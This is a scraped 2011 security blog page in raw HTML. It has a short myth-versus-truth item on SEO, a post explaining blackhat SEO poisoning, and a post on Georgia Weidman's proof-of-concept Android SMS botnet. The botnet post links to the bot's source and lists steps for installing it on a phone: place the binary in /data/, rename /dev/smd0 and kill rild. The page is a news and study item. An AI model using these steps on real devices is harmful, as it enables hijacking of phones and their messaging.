<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Myth:</b> "Submitting to search engines means everyone on the Internet will find you."</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Truth:</b> People are not going to find you in search engines just because you submitted to them. If you truly want to capture your fair share and more of search engine traffic, you must optimize your Web pages. SEO plays an important role in your ability to succeed on the Internet.</span></span></div>
</div>
</div>
</div>
<br />
<br /></div>

SEO How to Analysis your website for search engine optimization

If Web page has a "0" Google™ PageRank™. PageRank™ denotes a Website's importance in the eyes of Google™. F...

Blackhat SEO techniques Quick guide

10/15/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnaf05KDz0g60T4MahhU21Ij0FsI7TNmMQkcYOTiskDi92C1YvhLx3AMFvxZ7yIi-yda-LifaOnvamiZshpU_ztaO0IkoJQky5YB_isSyx1GhvEqDcqCpNNQ9vJPjE27XNxr5hWjW_meHa/s1600/blackhat+seo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnaf05KDz0g60T4MahhU21Ij0FsI7TNmMQkcYOTiskDi92C1YvhLx3AMFvxZ7yIi-yda-LifaOnvamiZshpU_ztaO0IkoJQky5YB_isSyx1GhvEqDcqCpNNQ9vJPjE27XNxr5hWjW_meHa/s1600/blackhat+seo.jpg" /></a></div>
<br />
<b>Blackhat search engine optimisation (SEO) techniques </b>describe the process by which individuals trick the search engines into ranking one of their malicious web pages high up in the search engine result listings.<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045"> <br />
These techniques have been used aggressively by malware authors because they provide a very effective way of controlling user web traffic:<br />
</span></span><br />
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">  use a kit to create the keyword-rich web SEO pages on popular topics</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  search engine bots then index these pages</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  users searching for these topics end up with links to the rogue SEO pages high up in the search engine results</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  user clicks on one of the rogue links</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  the SEO kit immediately redirects the user to the malicious web site</li>
</span></span></ol>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">For more details, <a href="http://nakedsecurity.sophos.com/2010/03/31/technical-paper-seo-poisoning-attacks/" style="color: #3778cd; text-decoration: none;"><b>take a look at the technical paper</b></a> published last year.</span></span></div>
<br />
<br /></div>

Blackhat SEO Blackhat SEO techniques Quick guide

Blackhat search engine optimisation (SEO) techniques describe the process by which individuals trick the search engines into ranking on...

Android botnet over SMS

10/11/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTb45Yd5zpl8SayFNQDLqiHAwFjHTaPdwXW25RFbFtIfi39z6zSXB32VwgdqYcCBnQgH3cVhngwvIC5keNDTjS1apVT6WdNm7Hkvp2fuQ8KVD2u3w5rDsx1xlp9UcUH34d10QK0jguw9v/s1600/androidbotnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTb45Yd5zpl8SayFNQDLqiHAwFjHTaPdwXW25RFbFtIfi39z6zSXB32VwgdqYcCBnQgH3cVhngwvIC5keNDTjS1apVT6WdNm7Hkvp2fuQ8KVD2u3w5rDsx1xlp9UcUH34d10QK0jguw9v/s640/androidbotnet.png" width="640" /></a></span></span></div>
<div dir="ltr" style="text-align: left;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">After the numerous botnets over "everything" (botnet over IRC, botnet over skype, botnet over twitter, over facebook... ) , directly from one of the most fascinating hacker (Georgia Weidman) an android botnet over SMS.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<br />
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><b>This is a great example of Botnet spread and controlled by invisible SMS.</b></span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Download the code from <a href="http://www.grmn00bs.com/botPoCrelease-android.c" style="color: #3778cd; text-decoration: none;">here</a>.</span></span></div>
<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><br /></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Compile with arm-gcc with the -static flag set</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Copy to anywhere on the underlying OS that is writable (/data/ is good).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Rename /dev/smd0/ to /dev/smd0real/</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Start the bot application</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Kill the radio application (ps | grep rild)</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">The radio will automatically respawn and now the bot proxy will be working</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361">Take a look of what it can do.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"><a href="http://vimeo.com/19372118" style="color: #3778cd; text-decoration: none;">Shmoocon 2011 Smartphone Botnets over SMS Demo</a> from <a href="http://vimeo.com/user4997632" style="color: #3778cd; text-decoration: none;">Georgia Weidman</a> on<a href="http://vimeo.com/" style="color: #3778cd; text-decoration: none;">Vimeo</a>.</span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="274847209046765361"></span></span><br />
<br /></div>

Android Malwares Android botnet over SMS

After the numerous botnets over "everything" (botnet over IRC, botnet over skype, botnet over twitter, over facebook... ) ...